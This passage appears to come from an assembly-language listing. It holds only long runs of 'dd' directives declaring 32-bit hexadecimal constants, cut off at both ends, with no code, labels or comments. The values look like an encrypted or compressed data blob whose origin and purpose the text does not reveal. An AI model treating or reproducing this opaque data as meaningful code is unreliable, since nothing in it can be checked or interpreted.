83509E53h, 67DA2991h dd 80C86EA6h, 6CFDA29Bh, 2E2B89C1h, 611E5FD0h, 25801C9h dd 43F85EAh, 0ED69A81h, 947EB5A4h, 611F56CDh, 0FD13562Bh dd 0C7C5843Bh, 73AF251Dh, 0B7E2DD72h, 87049700h, 0B225D012h dd 0E43000CFh, 7F712C0Fh, 0CF1B3616h, 3B0F3591h, 0B6748FBh dd 0C164BD71h, 8C4B661h, 952F2B13h, 596CBF2Ch, 5393BE6Eh dd 0EC6B9193h, 8B0789C0h, 784C676Ah, 0FDC33F9Ch, 549D6CBDh dd 6664B7DEh, 7EE16A43h, 1572633Bh, 0ADA37CF2h, 0BF32A916h dd 0C4D2B20Bh, 0EEF33D28h, 86726A90h, 0C6AA600Ah, 8A73F283h dd 53483632h, 0F59CED8Dh, 1BC85F6Eh, 6DBD6809h, 0CC30752h dd 5EA3D98Bh, 401F4E14h, 75178F58h, 84A3186Eh, 4CDB4F7Dh dd 30902F7Fh, 0BA8BCE40h, 6FBB6C8h, 0EAB8242h, 6929AC04h dd 0C9E29D72h, 3ECB52ACh, 84F73ED8h, 0B5D10EA1h, 0E3933094h dd 0AC0F210Ch, 5CAFD6D6h, 0B4A5F376h, 0F62A836Dh, 0AF2E575Eh dd 0A2A9589Eh, 2B917114h, 313A5DD3h, 58921C37h, 9C555A61h dd 5F2DA7B6h, 0EB407511h, 0B52C4EE2h, 86280236h, 3AAE513Fh dd 5D9BA5A0h, 67F48668h, 28C7F4DAh, 0BCFD7F57h, 3AF8F68Ah dd 0A6379F77h, 5F62A86h, 0E7228CD6h, 4FD85F10h, 0AC660FCAh dd 837194B6h, 0D63377Eh, 0D49D0DB0h, 25A864F9h, 0A52316D9h dd 0A55C01C2h, 0EF1559BFh, 59B5F397h, 659C32Eh, 0BD695806h dd 37D6A57h, 0E5628F2Ch, 5DE6885Dh, 723CA9FCh, 0CEFC8B89h dd 0F0D38055h, 699923h, 0A257262Ch, 0EC10C41h, 651A61FFh dd 0F57CCCD2h, 6091F3D8h, 0F9BAF01Dh, 64584507h, 0BA58FA08h dd 0E28F2073h, 5FF01C4h, 0E18ECB3Eh, 8294A582h, 516072F2h dd 0E0E24859h, 0CEF94E68h, 0B1E5B64h, 0B98CA4F4h, 0ED9C29E8h dd 1C8EF9E6h, 5B9B5399h, 18F486F5h, 0B329FF6Ah, 58A5D320h dd 4F1A3C05h, 57D62AE1h, 7CE9BCF3h, 888C56AEh, 742735ABh dd 84784AE8h, 5F33087Ah, 96F41980h, 973609B4h, 0F67CD608h dd 0C1E2D502h, 0E8D82158h, 0B6F76CEFh, 89802EB7h, 7780ED9Fh dd 906B1A2Ah, 0EADB7D67h, 89EEFF0Dh, 5CC752E0h, 0CA6B2651h dd 1F5863CEh, 0B6ABE228h, 0FF5AE01Ah, 9C730E58h, 3BAC1C66h dd 79C9DB3Eh, 42495096h, 0DCDF113h, 0E6B25995h, 0A271FC9h dd 7E91D300h, 0CB3C97D5h, 0D5FEC2C5h, 0D2631D49h, 0D713CA59h dd 59FD555Bh, 4A266C88h, 0E4894452h, 0D2046CD2h, 0A855A73Dh dd 0A60BE227h, 6F6B5431h, 0F0835805h, 0B2C061BBh, 2FA00966h dd 6825DFE8h, 64CEB2FBh, 0DC798115h, 0EC6DEE53h, 8AD0295Ah dd 0B7E59C0Eh, 982017B5h, 0BBCC0C72h, 0CF5EAB2Bh, 4819F821h dd 176012A0h, 0CB465CA9h, 9DA6FA72h, 34750C96h, 0BE13891Ah dd 0E151AEBFh, 8B2D1E3Dh, 31FAA546h, 4F6ECA96h, 34AF9B13h dd 0B4E36EBFh, 770EC5EAh, 112C9658h, 6B69B69h, 0DFB574Fh dd 0D6C43A79h, 50461E50h, 2D9C07C3h, 0EBB3A3BCh, 0B12DE7EBh dd 0E53AC8E0h, 6AC28404h, 0B46EF71h, 52531A52h, 0E69D74E8h dd 49F1947Dh, 6AAFF466h, 0BF65526Ah, 13F6B9AAh, 0A437F8A9h dd 0EE2A5B64h, 1B88A8C3h, 81EE5823h, 0D38D878Ch, 0A1FBBE8Ah dd 0ECDFE752h, 54EE1D6Dh, 7615CA9h, 0E583F35Fh, 77F1B2C6h dd 0FD285484h, 0A961EC3Fh dd 0E0125333h, 0B215E663h, 0E37481CDh, 0FEA21A73h, 82925E38h dd 3F0DABACh, 0CF1BC066h, 2AA9E329h, 3FAF6A6Dh, 0BF7B960Ch dd 497317A1h, 0A277CC54h, 0F007FDDBh, 387393F0h, 429FE975h dd 55975B43h, 4671F77h, 0AA311876h, 6821AC5h, 1F854A9Fh dd 19C5F331h, 9C7248Ah, 1569D4D3h, 0E17AF858h, 52E7BF6Bh dd 3C5F8B9Dh, 3BD6B96Ch, 658D3006h, 0EF63144Ah, 67E9104Eh dd 3DED855Fh, 1720BECDh, 36192A93h, 7E70D6C3h, 0F405C1Fh dd 250DA498h, 0F450CC10h, 7B09A5Ch, 3C95B620h, 8F59E473h dd 0C47A7376h, 0A8B61723h, 25AC0C31h, 0D1789837h, 0B21E1531h dd 986DAB1Ch, 5F293DCh, 0EBEF2FBCh, 202E90ABh, 7A0B64F6h dd 9A5F707Bh, 0BA99AFB7h, 8116740Fh, 0C0F4A8A8h, 4620B361h dd 0E343AA5h, 1C90B04Dh, 0E6D61610h, 657D185Ah, 9D11D714h dd 9DF1F2A1h, 0D3978EB2h, 24684B2Ah, 0CEAC62AAh, 6D78CB4Bh dd 2B391870h, 623AD421h, 783BCFBFh, 0A65B0FC9h, 0A54E413Fh dd 0EE0A4978h, 31B3CBBFh, 9A66EC54h, 992F47AFh, 0A670015Eh dd 887E11AAh, 0D05D0BCEh, 0A21C9AABh, 0E0541214h, 0AF53C56Fh dd 241E8780h, 8CA1DDF8h, 4874BE48h, 0DCA09D81h, 5181D425h dd 4A341B09h, 7DB974D5h, 0CE77C0F3h, 0EDA3E257h, 486A54A9h dd 5290F32h, 0AFFB0686h, 0E1C5303Fh, 13AC9E1Bh, 0F2A6876Ch dd 0B992FDCFh, 0B320F4A4h, 1D72439Ch, 0D59AEBD6h, 7F565D70h dd 6EBAC864h, 0EB9B2F3Ah, 0A80FFB5Ch, 0A4034111h, 5C2A1065h dd 0FF835452h, 65D4BFFAh, 0CC5AE6h, 69598566h, 0D4417C22h dd 7690A598h, 45E9EFF8h, 0CA53BB72h, 314C64B2h, 3BD90296h dd 3F687E1h, 4C471511h, 10ADBC49h, 95548137h, 14A54434h dd 9505D9AAh, 0FEA142C7h, 3C58FABEh, 80A9EE70h, 6C0FE2FBh dd 0A03A1283h, 0BAF936B6h, 70F0BFB0h, 2763B924h, 421606E6h dd 0B96661B9h, 0A7F0320Fh, 0BBD3ABAFh, 0DC7E99B8h, 95C9EFE5h dd 83DA9CA3h, 6A1FEC45h, 1DE2F08h, 0C811DE1h, 15DB2CB3h dd 1D730ED3h, 342D90B7h, 46672490h, 8B7812A7h, 10EBA71Eh dd 0FDB99801h, 364949DEh, 4BA9FCC4h, 2F91ECB6h, 488212FAh dd 641B650Ah, 2ED24332h, 0A8334516h, 0B82A58F0h, 6DA89E93h dd 12655289h, 9C57C743h, 59C6290Fh, 20752Ah, 699E1174h dd 0CA1AED35h, 0ED10AE25h, 0AF9A894Bh, 333FD405h, 0F2F26F54h dd 1671BE06h, 75DC90A7h, 0D207D277h, 0F5B6894h, 3B77B549h dd 66CF57EFh, 4C1BF715h, 300E5AA1h, 6FCA747Bh, 0C69D56F0h dd 3AADD73Fh, 3BE77BAAh, 0D8B6C54h, 5B265A72h, 2E1178A1h dd 0A9DBC6BBh, 3F271DA0h, 791F79F7h, 72A8BF2Ah, 0E18759EAh dd 0C9CFABBDh, 0BB9A1858h, 0EA2ADE10h, 0FE94D571h, 0ADF7A5AAh dd 58702E0Ah, 77FDA6CEh, 0BC323F2Dh, 0D3BC18Ch, 850E6D91h dd 4C418DBDh, 0CBFDCFFFh, 9F048E2Fh, 0B848DEFCh, 2743BEE8h dd 0B45C97CDh, 0CDBB9A37h, 81566E29h, 0A1386357h, 0AEA6D206h dd 0B853C775h, 69DA8762h, 0B11EFDBAh, 0EF72CA73h, 0D7579ED5h dd 0F2F5C9B6h, 0CCA40006h, 0F3ED3AF9h, 0CC4FCBAh, 0A5C89EBFh dd 0B60B047Eh, 5572BFB9h, 0B00D809Bh, 0F168C21h, 0C4F24401h dd 34EB19F6h, 8610D27Ch, 3ECFE24Fh, 0F6AE3A9Bh, 0A9CAF6Ch dd 0C4DFD07Bh, 0FEBFFC8Bh, 33B991BAh, 1D5BA6E9h, 3B981EFDh dd 7120C824h, 0E128A218h, 8C339087h, 398E4022h, 3CCF6519h dd 0E1281636h, 332D9BF3h, 0A3379FFAh, 3C28034Ch, 4C5BD5DBh dd 0ED2B98A5h, 0B3513FE4h, 24910AABh, 49A8078Eh, 32D94B01h dd 0E173AB2Bh, 7359B125h, 24B5C1A5h, 4779EFC4h, 0DB6BC1B3h dd 88C82C12h, 5E32AFE4h, 0AEB3C7DDh, 7F59FC00h, 0C24F4456h dd 8016052Fh, 70B4C54h, 0BD8D0C3Fh, 0B56C9651h, 6E518E7Ah dd 4611B808h, 0BECB515Bh, 0B194409Dh, 0A865A285h, 87E36613h dd 230EEC9h, 0C336D49Ah, 12AD33CCh, 633FA459h, 0A2A1D471h dd 0F3F9E24Ch, 24C03653h, 0E19191BFh, 7B878FFh, 8BAB05FEh dd 0FEF1B5D6h, 0B47663CCh, 6B7DE39Ah, 28452905h, 556E93F9h dd 0C8B9D94Eh, 8FE565DAh, 0F98EFC0h, 962B4745h, 8233EDABh dd 1E8C99D5h, 97FC81Eh, 7FBA268Ah, 8502FC35h, 0A9DA7CD3h dd 830BE952h, 0AD641064h, 0D3EBB607h, 8A88A60Bh, 0E57B9622h dd 0E2CA21F5h, 3401F462h, 4D8AA2D1h, 4D9DEE98h, 68AABE38h dd 48679D51h, 4CB5AF08h, 40ECB726h, 0FFD7A5C1h, 90156B81h dd 27DD1F3Dh, 26F70AAEh, 0EDEB5CA5h, 47A5A04Ch, 85CD748Fh dd 7F4B4AC1h, 0F16252E2h, 0DB334403h, 7D52B212h, 40CE4F70h dd 8BD61875h, 57394B35h, 1BCF2DD5h, 1224198Fh, 0C8175192h dd 0AF576CF1h, 0C51F8284h, 3E567B03h, 0B3D56783h, 37B5DB2Fh dd 5040889Ch, 5950F9E0h, 0EBDF562h, 2989C1BEh, 5C019ACFh dd 0E11C436Eh, 0AEE6B69Bh, 0ECFA3E2h, 22BE895Fh, 0B61059B6h dd 9D6281C6h, 0B621E071h, 68650222h, 0F8A3C586h, 0A6FC1527h dd 0E4BA08F7h, 0B0E33F48h, 0CDE42BFBh, 0B2E63918h, 12717F2Ah dd 0C7A7FB19h, 0BEC69E33h, 0A8C219AFh, 94FD6E65h, 0D5CC1AB4h dd 0FD91E47Fh, 0CB710649h, 69748EE9h, 0A45989BEh, 678EB923h dd 0B44DC3FAh, 2EC8F657h, 9EC8DD1Fh, 47CE8444h, 0A95F0958h dd 46B7E015h, 0A8CD84BCh, 9B266325h, 0B5C5E293h, 591B31D9h dd 0A18487D7h, 281580F9h, 3679EE87h, 52C8E6Ah, 5DEB6E78h dd 80D4BEB5h, 182DF6Dh, 0C1D2B1C3h, 23D5E78Ch, 65629410h dd 62A98734h, 72333A97h, 583CBFA4h, 6BE46CFAh, 93BDF14Ch dd 58836678h, 38593E48h, 0B3442DC2h, 0B0E3CE6Bh, 6295E750h dd 2BD19599h, 1B7862FBh, 51DF2606h, 0B56A6699h, 3EDF0ABBh dd 92CA8977h, 213F1FAh, 1BB75BECh, 5B1A0BFh, 491E2FE5h dd 3AA788Dh, 46C64E13h, 30960074h, 0EE6C7143h, 15753119h dd 14AA921Ah, 8ABBF59Ch, 0BC81894Dh, 325BB648h, 0D60D04BAh dd 0B5846A8h, 2148E417h, 0CCD8991h, 5829E4B5h, 0EFF0AD49h dd 4777D382h, 25F42264h, 36D6E7BAh, 4C0F864Dh, 64499928h dd 0AD20E143h, 0FB39BFFCh, 0F9091B7Eh, 0F26C2160h, 74DB7406h dd 0BAC1C8BEh, 0F4DF7603h, 0B1BC7168h, 50175A5h, 6D6DCC5Fh dd 276E6141h, 6B385854h, 5CA43C94h, 0A95C6AAh, 0B95867Dh dd 195C49DDh, 50AAF4CBh, 0E3C06774h, 0FBC5DB0Fh, 3F53AAE4h dd 76F827A8h, 419C36AAh, 20D4A55Fh, 0F4E8D76Ch, 6E0566D3h dd 2E7A8959h, 0A93BA8B9h, 0E0823FF8h, 0ADE0DD69h, 0AC905065h dd 3E4B9501h, 0B9C0454Bh, 9F0C283Eh, 971A084Dh, 0DEDEFE6Dh dd 9D4BF7Eh, 90E68C80h, 75A94625h, 6848E831h, 383439D4h dd 0F2E9FF73h, 0B628A223h, 13A7A8C6h, 0C444A0h, 0B5B6578Ah dd 0CF29E700h, 0E6E5C906h, 0DDD6DF24h, 0B375977Ch, 0C6B41278h dd 0EEFE6796h, 0B1CB7BBCh, 0DE6FEE3Fh, 60374C12h, 4A545981h dd 51A2069Ah, 0BA8CC211h, 0FADFD1ACh, 0AC4593DBh, 3F0F91A0h dd 0B2DA562Eh, 7284FCBDh, 0B30AAA1Eh, 2D682BE3h, 0D4CDC05Fh dd 854DFEF3h, 94A239F3h, 7C2C5DA8h, 4341C58Dh, 7209513Eh dd 850DECE9h, 546DDC42h, 86479575h, 0F2A54DC9h, 1556484Dh dd 0F4379739h, 0D39668D1h, 9301F28Fh, 27AE2354h, 0ED8D7493h dd 0EEC64740h, 0DCF7BA9Ah, 709715Ah, 3AC22333h, 3EDEDA6Eh dd 2F30A5E0h, 0FCFA5DC7h, 7585D464h, 0CCB1E8DEh, 113EFA20h dd 508DB276h, 2F924C83h, 44F61C9Dh, 606A5A7h, 49FFC62Bh dd 0BF8E14F2h, 0E8845E92h dd 0B7156019h, 0F8FD4D9Eh, 6D9A3839h, 407B3EBCh, 90E93013h dd 1F92BD06h, 94DC0727h, 3D596D50h, 0AF258CD5h, 681C9E69h dd 0F5849C64h, 0E8543D90h, 19533D62h, 66B41ED3h, 9EB8711Ch dd 4AE52B34h, 2C0F518Bh, 2974F7A3h, 0EBBB4DF7h, 302ED23Fh dd 0D61CE092h, 4E9A6EDCh, 0DD1C5790h, 75BAFF9Fh, 247B30B0h dd 201465C0h, 0CF045E24h, 67BE9585h, 0A246ACD5h, 347E4739h dd 683CA9Ch, 0E3BA8C44h, 0A40B80E8h, 40A52FD4h, 0EBDF89ECh dd 7FD292Dh, 0DA30708h, 4B8F47DEh, 48B52D17h, 0A80DADE0h dd 0CF131959h, 3FFA6F72h, 0AED033F7h, 5FC8B97Fh, 6BC6ED91h dd 0A8DA0536h, 0F2BC5A02h, 0E8F2A762h, 0F169398h, 0F26C2C49h dd 0DEE9EACBh, 0BB21A6F2h, 344B41BAh, 0DB506BB1h, 40B9967Bh dd 9051BBFCh, 0BA0FE83Fh, 456F556Ch, 3F65DE50h, 5591F328h dd 0EF63DCB7h, 8CBADCD7h, 59F21367h, 0B3F56FF2h, 0F0EEFBEAh dd 0FEE8D9AEh, 2A2451FDh, 741C612Ah, 5D9DF093h, 859EC881h dd 3C28D0EFh, 0A0CA513Eh, 81B846E3h, 0D18D542Fh, 0E14DDE49h dd 2D112BC5h, 0A6708A75h, 95A9C218h, 160E82B4h, 0E8467AAFh dd 0F5291E1Ch, 3695EACCh, 80154932h, 0CB5FA852h, 18B7360Dh dd 7D56F3ABh, 770B717Fh, 0D7F5BE23h, 6C59CBF7h, 0E7DC218Bh dd 5EAFD6EEh, 5C1E0099h, 7646F0F0h, 77D4BA0Ch, 5F2C5730h dd 0B08D0DA5h, 0BC194CE4h, 14CC3C0Fh, 38CB5C61h, 853A150h dd 0CF14EB12h, 0BF4A6F3Fh, 0E82A10FEh, 0C81E9369h, 87481CBDh dd 0D0AA69B6h, 1F9821CEh, 5C287B3h, 5E2E4AC2h, 8BAD6D6Fh dd 0DBDB5CAEh, 0CB5F46A9h, 2E936E7Dh, 6D10124Ah, 777FCA5h dd 6C37B5FFh, 451D0ED6h, 6AF300Fh, 4553A1D4h, 0B77FF7ECh dd 0B77B6E4Fh, 263E3399h, 0CEC9D83Dh, 1F6E3A10h, 5FC5CBC3h dd 7AB988A8h, 0B447072Dh, 0E57B8FB0h, 2B1880E4h, 0C6857621h dd 3437A750h, 2F05DE7Dh, 31AF0019h, 0E7CEB9A2h, 0D1A2CA8Dh dd 0DC962AB6h, 39B496EEh, 0F46EE0F0h, 3A913D60h, 6D8BD951h dd 601EFEC8h, 5F0BD204h, 0B4C3008Ch, 2AC0C68Dh, 8A29E05Bh dd 46EE80F9h, 2098624Ch, 5DA69282h, 0BD2D11CFh, 0FC60130Ch dd 4D5C75C9h, 51D956B7h, 0DE4F000Ah, 4FCD99BDh, 487AD7F0h dd 0C92E7B84h, 5822E243h, 0DADC3DBCh, 0D156C7BBh, 0A14BDA40h dd 0B61647D0h, 5D9B0174h, 80AE0D88h, 57BC94F2h, 0C228ED07h dd 0F7377413h, 70AB46Ah, 5844E0C0h, 79D75165h, 395EAD18h dd 6F692710h, 0B21131F8h, 1014A058h, 0E8E0F8CDh, 61C7D870h dd 57406F39h, 5B8C13D8h, 0D6428455h, 0AA966EF8h, 5CC35A0Eh dd 0C6E050BCh, 0F19AE36Eh, 169E873Fh, 0BD765AFEh, 9D87529Dh dd 0F19769CBh, 0D1E29311h, 961ACDA2h, 0CB678C49h, 37992D4Ah dd 13370BA1h, 54156BD0h, 60C43675h, 0A881FF61h, 0D5A75567h dd 2419EAC1h, 821B92A8h, 9EA03611h, 9DDA068Ch, 66102369h dd 1E491E9Bh, 16CFEF5Bh, 0EA257A0Ch, 0CB9EE826h, 39C75335h dd 42A85A28h, 21450019h, 0B27A9602h, 96FE8CCDh, 7C56A813h dd 1F38D2BFh, 1EF080BBh, 4AD739F1h, 8F4467C0h, 7B55BD2Dh dd 0B636A8DAh, 54101F41h, 89E4EC38h, 0A5B388FDh, 0A1C327F4h dd 0A29E584Ch, 0BADD6102h, 0B1966E0Dh, 49D290E1h, 704643A3h dd 0B3709C1h, 12001C30h, 0CDA316C1h, 0E4CE4615h, 25A18B5h dd 0A5FDDB74h, 4B334837h, 0F453A9FEh, 5DA04763h, 34BBDC59h dd 0E9AFBBB9h, 0A88AF22Ch, 47B932E8h, 3E298575h, 4F751E92h dd 0AE1EDE1Ah, 0BD83F040h, 0B68ACE49h, 321FFDB5h, 93653EA9h dd 5C17AC97h, 0F2682817h, 0ACE79A66h, 0A16EF9BAh, 2D1B3E82h dd 66C2ABA4h, 8DD0C4F6h, 0ECDEF3F7h, 3F9E352Dh, 0AB91B6D0h dd 0C1397A71h, 0F7230823h, 0C3797E0Ah, 34B47079h, 7C611A20h dd 42A37F46h, 8ADD93E2h, 2DA04CE5h, 0C2B7B152h, 32EBD570h dd 18052691h, 871DC370h, 0EDB4ACFFh, 3D3C6D69h, 2BE9ACE9h dd 962F0F3Dh, 0A99F1993h, 57DFACB5h, 0F182994h, 2FAE0DCEh dd 6354CA05h, 8C6E1803h, 4D408CDEh, 7AB9996Ch, 805A4B1Dh dd 7131F4D5h, 5C78FF18h, 885A24EBh, 0EE16584Fh, 0A976A8F2h dd 4C3AC297h, 0F944A0CEh, 0E468EFEDh, 85AC4AE1h, 6952F684h dd 0D2282E5Eh, 36524B2Ch, 0FB43BF5h, 0A58E6CACh, 0FFF25834h dd 1F825F20h, 7BD65400h, 0F5C24B7Ch, 0FED1A6CDh, 0F9D11C9Ch dd 9CD12621h, 23559C13h, 0FB87286Dh, 0A78620A7h, 6BEF3155h dd 0BABE8189h, 2F0F4EF4h, 0A39E04Bh, 0A1EC0732h, 9C87D4C3h dd 3AC989B9h, 0AF950970h, 5E9A196Dh, 2B0C515h, 0FFFAF20h dd 0DE59E5C2h, 0CF2A1C87h, 5960E242h, 3AE210B0h, 4564CBCDh dd 143D1C82h, 0E978A37Eh, 6CBB55DEh, 0A5A87C18h, 0F79A5E9Ch dd 0B2F49315h, 763A3C70h, 0E3D4EBB2h, 1EA07980h, 0D4686AC1h dd 1C8C4295h, 9DB3E38Ch, 299A3FD0h, 0B9B45E0h, 0C098ED4h dd 0A5841FA8h, 36905C8h, 0CC9BEAD4h, 0DC1C8F50h, 76D3F0EEh dd 110616FEh, 5C8F6790h, 4E570204h, 0FA1AE19Bh, 0B16F9CDFh dd 2D32F375h, 0A51F506h, 0D17FD734h, 32D029ABh, 0A9609B67h dd 0F83753F5h, 7BDDA2Dh, 0D88AAA8Bh, 0BBEE09EAh, 7F0B3FE7h dd 7C183278h, 0D3044A1Fh, 752C002Dh, 0BF48A65Fh, 84F13E77h dd 2DB87478h, 0A0CA9286h, 0FB9A70C8h, 0F5AE5F43h, 93067448h dd 262757A7h, 3A515F5Ah, 4CA9A7B2h, 0FA23EDE5h, 3C23F472h dd 3C5CF15Eh, 0CC808F54h, 36B93B0Bh, 0CE52719h, 0C3871876h dd 8FED7D6h, 4074397Fh, 0CB592AC2h, 683871Eh, 0A3309CC8h dd 3A2367DFh, 847BEFFFh, 1B3D0EB3h, 0DF97B363h, 0A97F294Bh dd 42CF1A6Ah, 7598B59Dh, 79DCAF34h, 0FF84AD4Eh, 0CAAD8CEAh dd 0EEB2DA93h, 0B9EF9B1Fh, 746DA8EFh, 58D2AC71h, 0BE990FA0h dd 0E799CDh, 6BDABBA9h, 0EE164087h, 2FE9D826h, 598D067Ch dd 6BF39FBCh, 1256CD94h, 3CAC82C5h, 0E8F2EAE6h, 8222CF86h dd 0C0A3A67Bh, 18D3968Eh, 7BA8B83Eh, 0B4BAF30Dh, 0AA432917h dd 7BEACCEAh, 0D81F945Ch, 60C1A51Dh, 279AA159h, 0AC90C3CCh dd 635E3C7h, 0A02F7438h, 30E94DFEh, 8AB28EE5h, 0A0CE63CDh dd 0F3A80D17h, 0B1CF101Bh, 40A05046h, 0B6E420B4h, 0BD9911C8h dd 0D341DDBEh, 0B2DAD4DDh, 5A6D7093h, 7281F8C0h, 0B781A6C8h dd 0EF0021F4h, 96720CB8h, 95927418h, 0ABB11BF1h, 0B4442A1Dh dd 551D229h, 0EB80275Ah, 6C56E59Ah, 13F521D4h, 7C566529h dd 84C060FAh, 3988F098h, 340BC2DEh, 0E4AF9F94h, 0EE2EFEFEh dd 0FA396795h, 1A19617Dh, 0CE471AB9h, 0B570D958h, 93866990h dd 0A8CBB6CFh, 5E3826D2h, 9A1D79C2h, 6BD855D5h, 0D3C5E8DDh dd 44024ABEh, 0AD01C2C0h, 915F182Bh, 753E88E1h, 2C94D76h dd 0A5F98DEFh, 24EB5811h, 31B4341Ah, 0D4EDC932h, 0D73DFD90h dd 57B47B53h, 5621ABBh, 2E4F50C1h, 0F9CA6765h, 5B231D9h dd 0EF59B096h, 0AA235B21h, 0DD678B88h, 5C2F74F5h, 6921F3Dh dd 34115493h, 0A69F0FBEh, 81987FA6h, 683DB376h, 4DCB06FAh dd 0C41E0D92h, 0C59778F4h, 5999EA28h, 0EE246EC7h, 0CEE90129h dd 0ABAA440Fh, 0FB7133Fh, 5D8D0511h, 97BD11D5h, 0D8F31F4Dh dd 3568D949h, 9508BC5h, 0F4E3A48Eh, 449182E6h, 0FA786EA9h dd 0B07F7079h, 0E81379A7h, 0B1529E3Bh, 0AD1BCF23h, 1662DF48h dd 66346756h, 0A4F7F827h, 0CD04DD58h, 603A1239h, 0EC0A8A4h dd 0E96CB517h, 64AF6FF3h, 0B1069702h, 1D7684B2h, 44E6D40h dd 5D6CF84Dh, 5B05CCE4h dd 7B57074Ch, 61987961h, 0F7AA29AAh, 0F38CBAA5h, 0FC9141A8h dd 52FCBD37h, 200FE864h, 17F9D0AFh, 3FB0AFB3h, 71AAC3D0h dd 2599E7CDh, 0B6DC4562h, 3382ADCCh, 0A5A5EBAFh, 0C02D6000h dd 24807530h, 0A2FD3659h, 4A9D087Ch, 6B2673A9h, 51C190D7h dd 20FA52CDh, 4C1DF8A2h, 414D3937h, 0AD728870h, 35155AC9h dd 0F6C533BDh, 0E39AB2B1h, 40ED7E6Ah, 0BA05F578h, 1959115Fh dd 837E00CCh, 0FA0B70AEh, 5266510h, 7FBE18F1h, 1905B1FDh dd 0BD16D4A4h, 5B4DF18h, 0E6A5811Fh, 0AF2DEA52h, 48151CC0h dd 0E8979160h, 18133B87h, 7A8E6803h, 0CF276A46h, 0B0402B98h dd 6596BD7Bh, 1DFF23E4h, 5AB07843h, 0C39CD1F7h, 3103D0A9h dd 0A47E9245h, 707C2698h, 7FE2C43h, 3F785A6Dh, 0D5FAF46Eh dd 0E3B6D171h, 0F3231450h, 0E94D4A3Fh, 4BFA10A2h, 0CB99A2CFh dd 0BB973677h, 9F05BDF3h, 669DC7E7h, 0BDC3902Fh, 7986EC74h dd 84F199FFh, 0C0DD9952h, 31499D85h, 7ACCAB31h, 7D906E3h dd 76E8C10Bh, 0B8160C95h, 754F074Ch, 2794C9B9h, 80189F6Ch dd 1B1AF87Ch, 217F11D7h, 7A339800h, 1F819209h, 41185EB2h dd 2452AFDDh, 41D59DB2h, 9E69DFDCh, 7BF1AF6Bh, 4A668330h dd 0CDD78250h, 0A44A5106h, 0F0DD7E43h, 0C106427h, 3F3FCDF0h dd 0D904BD85h, 0A89EE4EFh, 83ED4970h, 0E6E8C6B8h, 8C64A940h dd 8FDB35BAh, 0B779C06h, 7D2C777Bh, 60DC4D1Eh, 0ABC479EBh dd 20F53DEBh, 3F9B22DBh, 22BC9161h, 0E87EFEFh, 22D62584h dd 74A84DB7h, 11BAA04h, 0E43AEAB1h, 5ECA2DCAh, 0B2BC4C4Ah dd 0ED6FFCC6h, 944B0F6Ch, 0AB3D1D4Ch, 0DF4F4DF3h, 6AD6542Dh dd 8AC7DBEDh, 0B029A03Eh, 8746DD41h, 7361B73Dh, 4FD12BECh dd 9FE249ACh, 618AA29Dh, 0E843BCB8h, 56B9B523h, 7A7C75EFh dd 6008669Eh, 0B903BF43h, 24D394F3h, 4AF80238h, 0AFB7865Bh dd 954B3F33h, 4717ED26h, 0B28C559Fh, 7DDA447h, 1DC0F402h dd 9274EA9Fh, 0DB29529Ah, 0AE76601Ah, 731A671Ch, 0ADEC6BECh dd 44330FCEh, 4E354C5h, 58909B77h, 2A6D484Ch, 56DD52BDh dd 0EF01ADFBh, 0DA05E5EBh, 0BDCED6CEh, 4F47D2B3h, 0E280802Dh dd 0F905CE8Ch, 0B98E5C72h, 783B6819h, 0E1CDCF47h, 0C431299Ah dd 0B37D16E3h, 4B1F1DDCh, 7A840150h, 0EDDC99F8h, 0F374FA7Eh dd 0BF991CB7h, 167277DFh, 4ADBA567h, 0A33F4793h, 7439EF8Ch dd 14AAEE7Ah, 8EB7FEADh, 72628CEBh, 5A552441h, 83E8B904h dd 8508ED77h, 71F05443h, 47C3DDACh, 503B4ECFh, 0A8A1F30Ah dd 0ADC73B09h, 9864592Fh, 86514C8Bh, 64602408h, 916F5EDBh dd 0ED58B797h, 8BF3648Dh, 0D6080E33h, 0A83AF715h, 0F4C362E8h dd 5B584EBBh, 380298DDh, 1925D5B7h, 98EA60A5h, 0FB813288h dd 619F3F0Ch, 0FB1A5CD5h, 28477CFAh, 2DC1E4BBh, 0BE03AEC3h dd 8DC59E55h, 61140D27h, 4794F21h, 84FFFE4Dh, 3431E16Fh dd 2AEE106h, 3EF58477h, 435B930Fh, 0BF1B8F48h, 47D079AFh dd 660C6C5h, 0DFE60BD0h, 83BBD2B6h, 101A59AFh, 0EDBC96DDh dd 9D2919DBh, 0C03D389Ch, 4B3B5EBEh, 0C2BCE896h, 44219669h dd 0CA607ECCh, 95FDE6B7h, 53F168Ch, 0CCFBA1B3h, 0E7B9938Ch dd 0D1360ECEh, 10371AC0h, 0AF028296h, 6D41A4E7h, 0D895CD04h dd 0AAC64948h, 1BE08A3Ah, 616A155Eh, 781FEFCDh, 7519E65Fh dd 0F3918433h, 5EF50BAFh, 65E38E2Fh, 0D8D19B75h, 9D6B19C8h dd 0C0B72757h, 1A514B71h, 0E7D84515h, 0D961B1CBh, 343B7987h dd 1669768Ah, 40FBACDh, 0D61E9684h, 29382ACh, 74AF7209h dd 2AB27DC7h, 4D1470AAh, 0CDF09D3h, 0F4D0D189h, 28CBFCE3h dd 44D7B56Ah, 49B740F5h, 0B70A324h, 0C36B23F9h, 7AB86B10h dd 0C93D9A3h, 23959B53h, 2AB1BA0h, 1BA1199Dh, 0D1E9BD99h dd 8312526Ah, 16A695D0h, 0AF19468Dh, 0A118960Bh, 27DDCBC0h dd 87BE135Dh, 1AD6D6A2h, 0CFEBE0A6h, 86D5534Ah, 0E28B379Dh dd 77C3EE6Fh, 9A52883Bh, 0ABB05AE0h, 6E0AE91Dh, 59850420h dd 0E683D0DDh, 0E555AFC8h, 74BD83E0h, 0DBDDAF1Eh, 26C056B2h dd 0E9635530h, 0C278BBFCh, 0CDDA6567h, 12C81A14h, 41F6ED4Ch dd 445BBBAh, 0A23EB5AFh, 4754A163h, 0F9746F0Ch, 0F1B4F48Bh dd 29FEF566h, 39BC2824h, 75787731h, 0B0FCB111h, 48661113h dd 0DE5E7A5h, 0DA6FB446h, 2CB5B117h, 7BFC2A21h, 6A9714B1h dd 4C2DA3CFh, 2FBC0B71h, 0DE183045h, 0FDFFFF26h, 0A7F758h dd 0 dd 0FCFD6F00h, 14EA2E8Dh, 0C1636CFEh, 7E1D53DEh, 8DDEE39Ch dd 38351478h, 0BEEA7DA6h, 9FEF4D14h, 0ACF9CDB5h, 0F1ACC4C0h dd 9672D07Bh, 20D59DD9h, 46E7860h, 759D7C7Ah, 0AFCFB7DEh dd 29FBB2A9h, 9A73AFB3h, 7AEB27B8h, 0BB870F77h, 0DD6A8D7h dd 9C59E5A2h, 761D6BC3h, 65273A50h, 